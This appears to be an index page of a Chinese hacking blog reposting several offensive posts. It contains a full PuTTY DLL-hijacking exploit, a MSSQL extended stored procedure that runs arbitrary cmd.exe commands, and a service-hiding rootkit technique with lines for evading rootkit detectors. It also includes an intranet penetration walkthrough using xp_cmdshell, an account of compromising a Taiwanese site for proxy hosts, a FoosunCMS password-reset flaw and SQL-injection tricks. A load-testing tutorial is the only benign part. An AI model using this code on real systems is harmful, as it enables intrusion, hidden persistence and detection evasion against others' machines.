Chinadu`s Blog

/*

Exploit Title: PuTTY DLL Hijacking Exploit (winmm.dll)

Date: August 25, 2010

Author: storm (storm@gonullyourself.org)

Version: 0.60

Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o winmm.dll PuTTY-DLL.c -DWIN32_LEAN_AND_MEAN

PuTTY is a standalone program, so just plop the .dll in whatever directory the binary is in.

*/

#include <windows.h>

#define DllExport __declspec (dllexport)

DllExport void aux32Message() { hax(); }

DllExport void auxGetDevCapsA() { hax(); }

DllExport void auxGetDevCapsW() { hax(); }

DllExport void auxGetNumDevs() { hax(); }

DllExport void auxGetVolume() { hax(); }

DllExport void auxOutMessage() { hax(); }

DllExport void auxSetVolume() { hax(); }

DllExport void CloseDriver() { hax(); }

DllExport void DefDriverProc() { hax(); }

DllExport void DriverCallback() { hax(); }

DllExport void DrvGetModuleHandle() { hax(); }

DllExport void GetDriverModuleHandle() { hax(); }

DllExport void joy32Message() { hax(); }

DllExport void joyConfigChanged() { hax(); }

DllExport void joyGetDevCapsA() { hax(); }

DllExport void joyGetDevCapsW() { hax(); }

DllExport void joyGetNumDevs() { hax(); }

DllExport void joyGetPos() { hax(); }

DllExport void joyGetPosEx() { hax(); }

DllExport void joyGetThreshold() { hax(); }

DllExport void joyReleaseCapture() { hax(); }

DllExport void joySetCapture() { hax(); }

DllExport void joySetThreshold() { hax(); }

DllExport void mci32Message() { hax(); }

DllExport void mciDriverNotify() { hax(); }

DllExport void mciDriverYield() { hax(); }

DllExport void mciExecute() { hax(); }

DllExport void mciFreeCommandResource() { hax(); }

DllExport void mciGetCreatorTask() { hax(); }

DllExport void mciGetDeviceIDA() { hax(); }

DllExport void mciGetDeviceIDFromElementIDA() { hax(); }

DllExport void mciGetDeviceIDFromElementIDW() { hax(); }

DllExport void mciGetDeviceIDW() { hax(); }

DllExport void mciGetDriverData() { hax(); }

DllExport void mciGetErrorStringA() { hax(); }

DllExport void mciGetErrorStringW() { hax(); }

DllExport void mciGetYieldProc() { hax(); }

DllExport void mciLoadCommandResource() { hax(); }

DllExport void mciSendCommandA() { hax(); }

DllExport void mciSendCommandW() { hax(); }

DllExport void mciSendStringA() { hax(); }

DllExport void mciSendStringW() { hax(); }

DllExport void mciSetDriverData() { hax(); }

DllExport void mciSetYieldProc() { hax(); }

DllExport void mid32Message() { hax(); }

DllExport void midiConnect() { hax(); }

DllExport void midiDisconnect() { hax(); }

DllExport void midiInAddBuffer() { hax(); }

DllExport void midiInClose() { hax(); }

DllExport void midiInGetDevCapsA() { hax(); }

DllExport void midiInGetDevCapsW() { hax(); }

DllExport void midiInGetErrorTextA() { hax(); }

DllExport void midiInGetErrorTextW() { hax(); }

DllExport void midiInGetID() { hax(); }

DllExport void midiInGetNumDevs() { hax(); }

DllExport void midiInMessage() { hax(); }

DllExport void midiInOpen() { hax(); }

DllExport void midiInPrepareHeader() { hax(); }

DllExport void midiInReset() { hax(); }

DllExport void midiInStart() { hax(); }

DllExport void midiInStop() { hax(); }

DllExport void midiInUnprepareHeader() { hax(); }

DllExport void midiOutCacheDrumPatches() { hax(); }

DllExport void midiOutCachePatches() { hax(); }

DllExport void midiOutClose() { hax(); }

DllExport void midiOutGetDevCapsA() { hax(); }

DllExport void midiOutGetDevCapsW() { hax(); }

DllExport void midiOutGetErrorTextA() { hax(); }

DllExport void midiOutGetErrorTextW() { hax(); }

DllExport void midiOutGetID() { hax(); }

DllExport void midiOutGetNumDevs() { hax(); }

DllExport void midiOutGetVolume() { hax(); }

DllExport void midiOutLongMsg() { hax(); }

DllExport void midiOutMessage() { hax(); }

DllExport void midiOutOpen() { hax(); }

DllExport void midiOutPrepareHeader() { hax(); }

DllExport void midiOutReset() { hax(); }

DllExport void midiOutSetVolume() { hax(); }

DllExport void midiOutShortMsg() { hax(); }

DllExport void midiOutUnprepareHeader() { hax(); }

DllExport void midiStreamClose() { hax(); }

DllExport void midiStreamOpen() { hax(); }

DllExport void midiStreamOut() { hax(); }

DllExport void midiStreamPause() { hax(); }

DllExport void midiStreamPosition() { hax(); }

DllExport void midiStreamProperty() { hax(); }

DllExport void midiStreamRestart() { hax(); }

DllExport void midiStreamStop() { hax(); }

DllExport void mixerClose() { hax(); }

DllExport void mixerGetControlDetailsA() { hax(); }

DllExport void mixerGetControlDetailsW() { hax(); }

DllExport void mixerGetDevCapsA() { hax(); }

DllExport void mixerGetDevCapsW() { hax(); }

DllExport void mixerGetID() { hax(); }

DllExport void mixerGetLineControlsA() { hax(); }

DllExport void mixerGetLineControlsW() { hax(); }

DllExport void mixerGetLineInfoA() { hax(); }

DllExport void mixerGetLineInfoW() { hax(); }

DllExport void mixerGetNumDevs() { hax(); }

DllExport void mixerMessage() { hax(); }

DllExport void mixerOpen() { hax(); }

DllExport void mixerSetControlDetails() { hax(); }

DllExport void mmDrvInstall() { hax(); }

DllExport void mmGetCurrentTask() { hax(); }

DllExport void mmioAdvance() { hax(); }

DllExport void mmioAscend() { hax(); }

DllExport void mmioClose() { hax(); }

DllExport void mmioCreateChunk() { hax(); }

DllExport void mmioDescend() { hax(); }

DllExport void mmioFlush() { hax(); }

DllExport void mmioGetInfo() { hax(); }

DllExport void mmioInstallIOProcA() { hax(); }

DllExport void mmioInstallIOProcW() { hax(); }

DllExport void mmioOpenA() { hax(); }

DllExport void mmioOpenW() { hax(); }

DllExport void mmioRead() { hax(); }

DllExport void mmioRenameA() { hax(); }

DllExport void mmioRenameW() { hax(); }

DllExport void mmioSeek() { hax(); }

DllExport void mmioSendMessage() { hax(); }

DllExport void mmioSetBuffer() { hax(); }

DllExport void mmioSetInfo() { hax(); }

DllExport void mmioStringToFOURCCA() { hax(); }

DllExport void mmioStringToFOURCCW() { hax(); }

DllExport void mmioWrite() { hax(); }

DllExport void mmsystemGetVersion() { hax(); }

DllExport void mmTaskBlock() { hax(); }

DllExport void mmTaskCreate() { hax(); }

DllExport void mmTaskSignal() { hax(); }

DllExport void mmTaskYield() { hax(); }

DllExport void mod32Message() { hax(); }

DllExport void mxd32Message() { hax(); }

DllExport void NotifyCallbackData() { hax(); }

DllExport void OpenDriver() { hax(); }

DllExport void PlaySound() { hax(); }

DllExport void PlaySoundA() { hax(); }

DllExport void PlaySoundW() { hax(); }

DllExport void SendDriverMessage() { hax(); }

DllExport void sndPlaySoundA() { hax(); }

DllExport void sndPlaySoundW() { hax(); }

DllExport void tid32Message() { hax(); }

DllExport void timeBeginPeriod() { hax(); }

DllExport void timeEndPeriod() { hax(); }

DllExport void timeGetDevCaps() { hax(); }

DllExport void timeGetSystemTime() { hax(); }

DllExport void timeGetTime() { hax(); }

DllExport void timeKillEvent() { hax(); }

DllExport void timeSetEvent() { hax(); }

DllExport void waveInAddBuffer() { hax(); }

DllExport void waveInClose() { hax(); }

DllExport void waveInGetDevCapsA() { hax(); }

DllExport void waveInGetDevCapsW() { hax(); }

DllExport void waveInGetErrorTextA() { hax(); }

DllExport void waveInGetErrorTextW() { hax(); }

DllExport void waveInGetID() { hax(); }

DllExport void waveInGetNumDevs() { hax(); }

DllExport void waveInGetPosition() { hax(); }

DllExport void waveInMessage() { hax(); }

DllExport void waveInOpen() { hax(); }

DllExport void waveInPrepareHeader() { hax(); }

DllExport void waveInReset() { hax(); }

DllExport void waveInStart() { hax(); }

DllExport void waveInStop() { hax(); }

DllExport void waveInUnprepareHeader() { hax(); }

DllExport void waveOutBreakLoop() { hax(); }

DllExport void waveOutClose() { hax(); }

DllExport void waveOutGetDevCapsA() { hax(); }

DllExport void waveOutGetDevCapsW() { hax(); }

DllExport void waveOutGetErrorTextA() { hax(); }

DllExport void waveOutGetErrorTextW() { hax(); }

DllExport void waveOutGetID() { hax(); }

DllExport void waveOutGetNumDevs() { hax(); }

DllExport void waveOutGetPitch() { hax(); }

DllExport void waveOutGetPlaybackRate() { hax(); }

DllExport void waveOutGetPosition() { hax(); }

DllExport void waveOutGetVolume() { hax(); }

DllExport void waveOutMessage() { hax(); }

DllExport void waveOutOpen() { hax(); }

DllExport void waveOutPause() { hax(); }

DllExport void waveOutPrepareHeader() { hax(); }

DllExport void waveOutReset() { hax(); }

DllExport void waveOutRestart() { hax(); }

DllExport void waveOutSetPitch() { hax(); }

DllExport void waveOutSetPlaybackRate() { hax(); }

DllExport void waveOutSetVolume() { hax(); }

DllExport void waveOutUnprepareHeader() { hax(); }

DllExport void waveOutWrite() { hax(); }

DllExport void wid32Message() { hax(); }

DllExport void wod32Message() { hax(); }

DllExport void WOW32DriverCallback() { hax(); }

DllExport void WOW32ResolveMultiMediaHandle() { hax(); }

DllExport void WOWAppExit() { hax(); }

int hax()

{

WinExec("calc", 0);

exit(0);

return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

hax();

return 0;

}

来源：冰点论坛 2月

主要代码：

在VC6里面新建一个储存过程项目，在proc.cpp中写入如下代码：

#include <stdafx.h>

#include <shellapi.h>

#define XP_NOERROR 0

#define XP_ERROR 1

#define MAXCOLNAME 25

#define MAXNAME 25

#define MAXTEXT 255

#ifdef __cplusplus

extern “C” {

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);

#ifdef __cplusplus

}

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)

{

/***************************** 说明 *************************

由于本人人品不好还是怎么的，库里没有srv_paraminfo函数，卧槽，

无赖之下，只好用老式的srv_paramdata

*************************************************************/

int bufLen;

DBCHAR spName[MAXNAME];

DBCHAR spText[MAXTEXT];

DBCHAR spBuf[MAXTEXT];

unsigned char cmdline[255] = “”;

if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断，如果参数不是1个就立即退出

bufLen = srv_paramlen(srvproc,1);

if(!bufLen) return XP_ERROR;

wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值

wsprintf(spName, “xp_hello”);

wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);

srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息

wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数

ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令

return XP_NOERROR ;

}

阅读全文...

1、setup_config_box :
putty 的界面的处理方式是很值得研究研究的。 首先要考虑在原有的界面上把新加的输入passowrd 的文本框放在什么地方，个人认为把新加入的文本框放在原有的输入port 端口后面的文本框后面是一个比较好的选择。
修改： line ：1155 行的

ctrl_columns(s, 2, 75, 25);

改为

ctrl_columns(s, 3, 50, 25,25);

后面的数字只是一个比例。
添加： line : 1165 后加入：
阅读全文...

图文：udb311
主题：MSSQL内网渗透案例分析
发表：黑白前线

描述：对于内网渗透技术一直感觉很神秘，手中正巧有一个webshell是内网服务器。借此机会练习下内网入侵渗透技术！本文敏感信息以屏蔽！密码都以*号代替。此次过程主要运用到xp_cmdshell恢复与执行，再通过自己的灵活思维运用。

环境：2003 SERVER
IIS ：6.0 支持php
数据库：MSSQL和MYSQL
网站类型：ASPX

本文重点讲述内网渗透提权部分，对于WEBSHELL不在描述。对于了解入侵渗透的朋友都知道，拿到webshell后服务器能否提权就要先找提权的漏洞所在。从本站的角度来看，存在MSSQL、MYSQL支持ASPX和PHP可以说权限够大的了。先来看看目录能穷举出来哪些东西。先看程序目录，很平常么。没现有SU和MYSQL之类的信息。

阅读全文...

本文阐述：文章从网站入侵到内网渗透提权，作者给大家带来了一篇精彩的内网渗透文章。读后此文你能清晰的认识到内网入侵的细节技术。

由于平时比较忙，用了很久的VPN肉鸡飞掉了，近来正好有时间于是打开google搜索upfile.asp开始找肉鸡，来了台湾某XX站，http://xxx.xxx.tw/xx/upfile.asp，为了不必要的麻烦，我隐藏了敏感内容。直接到传asp提示错误，那么直接传了gif以后，查看上传路径发现自己重命名了，如果没有重命名的话在IIS6下百分之90以上可以拿shell了，除去目录末有执行脚本权限。最后抓包分析改上传路径，最后得到一个shell，图1。具体方法翻翻以前杂志或google找吧，一找一大堆。

执行命令后，发现权限还比较大，能够执行一些简单命令，像net user、ipconfig /all等等。。

阅读全文...

来自：ASM

过RKU,GMAER的dll模块检查的代码，就两句：

ldm->HashLinks.Blink->Flink = ldm->HashLinks.Flink;
ldm->HashLinks.Flink->Blink = ldm->HashLinks.Blink;

//下面是一个ring3下隐藏服务的代码，也是抄别人小小修改了一下而已的：

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <Tlhelp32.h>

// 几个Undocument的结构

typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS

{

PSC_SERVICE_PROCESS Previous;

PSC_SERVICE_PROCESS Next;

WCHAR *ImagePath;

DWORD Pid;

DWORD NumberOfServices;

// ...

} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE

{

PSC_DEPEND_SERVICE Next;

DWORD Unknow;

PSC_SERVICE_RECORD Service;

// ...

} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD

{

PSC_SERVICE_RECORD Previous;

PSC_SERVICE_RECORD Next;

WCHAR *ServiceName;

WCHAR *DisplayName;

DWORD Index;

DWORD Unknow0;

DWORD sErv;

DWORD ControlCount;

DWORD Unknow1;

PSC_SERVICE_PROCESS Process;

SERVICE_STATUS Status;

DWORD StartType;

DWORD ErrorControl;

DWORD TagId;

PSC_DEPEND_SERVICE DependOn;

PSC_DEPEND_SERVICE Depended;

// ...

} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

int WINAPI UnicodeToAnsiStr(OUT char *lpChar, IN WCHAR *lpWideChar)

{

int iLen;

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, NULL, 0, NULL, NULL);

if ((iLen > 1) || (iLen < 20))

{

ZeroMemory(lpChar, 40);

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, lpChar, iLen, NULL, NULL);

}

return iLen;

}

BOOL SetDebugPrivilege()

{

BOOL bRet = FALSE;

HANDLE hToken = NULL;

LUID luid;

TOKEN_PRIVILEGES tp;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))

{

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

}

if (hToken) CloseHandle(hToken);

return bRet;

}

DWORD GetProcessIdByName(char *Name)

{

BOOL bRet = FALSE;

HANDLE hProcessSnap = NULL;

PROCESSENTRY32 pe32 = { 0 };

DWORD Pid = -1;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hProcessSnap, &pe32))

{

do

{

if (!lstrcmpi(pe32.szExeFile, Name ) )

{

Pid = pe32.th32ProcessID;

break;

}

}

while (Process32Next(hProcessSnap, &pe32));

}

CloseHandle(hProcessSnap);

return Pid;

}

// 修改内存属性为指定值

void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)

{

MEMORY_BASIC_INFORMATION mbi;

DWORD dwOldProtect, dwWritten;

VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);

WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);

}

//寻找服务链表

PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)

{

char FileName[MAX_PATH+1];

HANDLE hFile, hFileMap;

UCHAR * pMap;

DWORD dwSize, dwSizeHigh, i, dwRead;

SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

GetSystemDirectory( FileName, MAX_PATH );

strcat( FileName,"\\Services.exe");

hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING, 0, NULL);

if (INVALID_HANDLE_VALUE == hFile) return NULL;

dwSizeHigh = 0;

dwSize = GetFileSize(hFile, &dwSizeHigh);

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

if (NULL == hFileMap) return NULL;

pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);

if (NULL == pMap) return NULL;

dwSize -= 12;

for (i=0; i<dwSize; ++i)

{

// 搜索services!ScGetServiceDatabase特征代码

if (*(DWORD*)(pMap+i) == 0xa1909090 &&

*(DWORD*)(pMap+i+8) == 0x909090c3)

{

if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&

ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征

{

pRet = pSvcRd;

break;

}

}

}

UnmapViewOfFile(pMap);

CloseHandle(hFileMap);

CloseHandle(hFile);

//printf( "addr: 0x%08x\n", (DWORD *)pRet );

return pRet;

}

// 隐藏服务

BOOL HideService(char *Name)

{

DWORD Pid;

HANDLE hProcess;

SC_SERVICE_RECORD SvcRd, *pSvcRd;

DWORD dwRead, dwNameSize;

WCHAR SvcName[MAX_PATH] = { 0 };

char lpSvcName[256] = {0};

dwNameSize = strlen(Name)*2; //UNICODE的话，长度要乘以2

if (dwNameSize > sizeof(SvcName))

{

return FALSE;

}

Pid = GetProcessIdByName("Services.exe");

if (Pid == -1)

{

printf("get pid error\r\n");

return FALSE;

}

if(!SetDebugPrivilege())

{

printf("SetDebugPrivilege error\r\n");

return FALSE;

}

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

if (NULL == hProcess)

{

printf("OpenProcess error:%d\r\n",GetLastError());

return FALSE;

}

pSvcRd = FindFirstServiceRecord(hProcess);

if (NULL == pSvcRd)

{

printf("FindFirstServiceRecord error\r\n");

CloseHandle(hProcess);

return FALSE;

}

do

{

if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))

{

//OutputDebugStringW(SvcName);

// 匹配服务名

memset(lpSvcName,0,sizeof(lpSvcName));

UnicodeToAnsiStr(lpSvcName,SvcName);

if (lstrcmpi(lpSvcName, Name) == NULL)

{

// 从链表中断开（一般来说ServiceRecord是可写的，但还是先改保护属性以防万一）

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);

CloseHandle(hProcess);

return TRUE;

}

}

else

{

break;

}

}

while (pSvcRd = SvcRd.Next);

if( NULL != hProcess )

{

CloseHandle(hProcess);

}

return FALSE;

}

int main()

{

HideService("Alerter");

return 0;

}

发布时间:2010-07-02
影响版本:
FooSun > 5.0
漏洞描述:
FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管理软件。

在文件\User\ GetPassword.asp中：

ElseIf Request.Form("Action") = "step3" then //第28行
Call step3()
……
Sub step3() //第198行
Dim p_pass_new,p_confim_pass_new
p_pass_new = md5(Request.Form("pass_new"),16)
……
User_Conn.execute("Update FS_ME_Users set UserPassword ='"& NoSqlHack(p_pass_new) &"' where UserName = '"& NoSqlHack(StrUserName) &"' and Email = '"& NoSqlHack(Replace(Request.Form("Email"),"''",""))&"'") //第220行
用户可以本地构造表单使程序直接进入修改密码，只需要知道用户名和邮箱。

<*参考 Bug.Center.Team *>
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
阅读全文...

一、http_load

http_load以并行复用的方式运行，用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具，它可以以一个单

一的进程运行，一般不会把客户机搞死。还可以测试HTTPS类的网站请求。
#wget http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz
#tar zxvf http_load-12mar2006.tar.gz
#cd http_load-12mar2006
#make && make install
#http_load -p并发访问进程数 -f总计的访问次数 -r每秒的访问频率 -s访问时间  需要访问的url文件
#echo "http://192.168.1.101/test.php" >1.txt
#http_load -p 30 -s 60 1.txt
7751 fetches, 30 max parallel, 2.9119e+08 bytes, in 60.0024 seconds
37568 mean bytes/connection
129.178 fetches/sec, 4.85297e+06 bytes/sec
msecs/connect: 77.8017 mean, 3050.89 max, 30.308 min
msecs/first-response: 50.3716 mean, 9148.3 max, 31.205 min
HTTP response codes:code 200 -- 7751                说明打开响应页面的类型

http://www.acme.com/software这个网站上有很多小工具:http_ping、http_get、http_post

还有一个secure HTTP server:thttpd

二、webbench
阅读全文...

来源：Chinadu`s Blog

http://www.4shell.org/archives/1777.html

其实这个算不上是漏洞也谈不上0day，只能说是一个windows fun罢了。

测试如下：

1.选择任意一个exe文件，鼠标右键选择重命名：

阅读全文...

很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~

一、order by 的参数注入技巧：
两种方法，思路都一样。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常见的利用方法：

1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));

返回错误：[Err] 1242 – Subquery returns more than 1 row
阅读全文...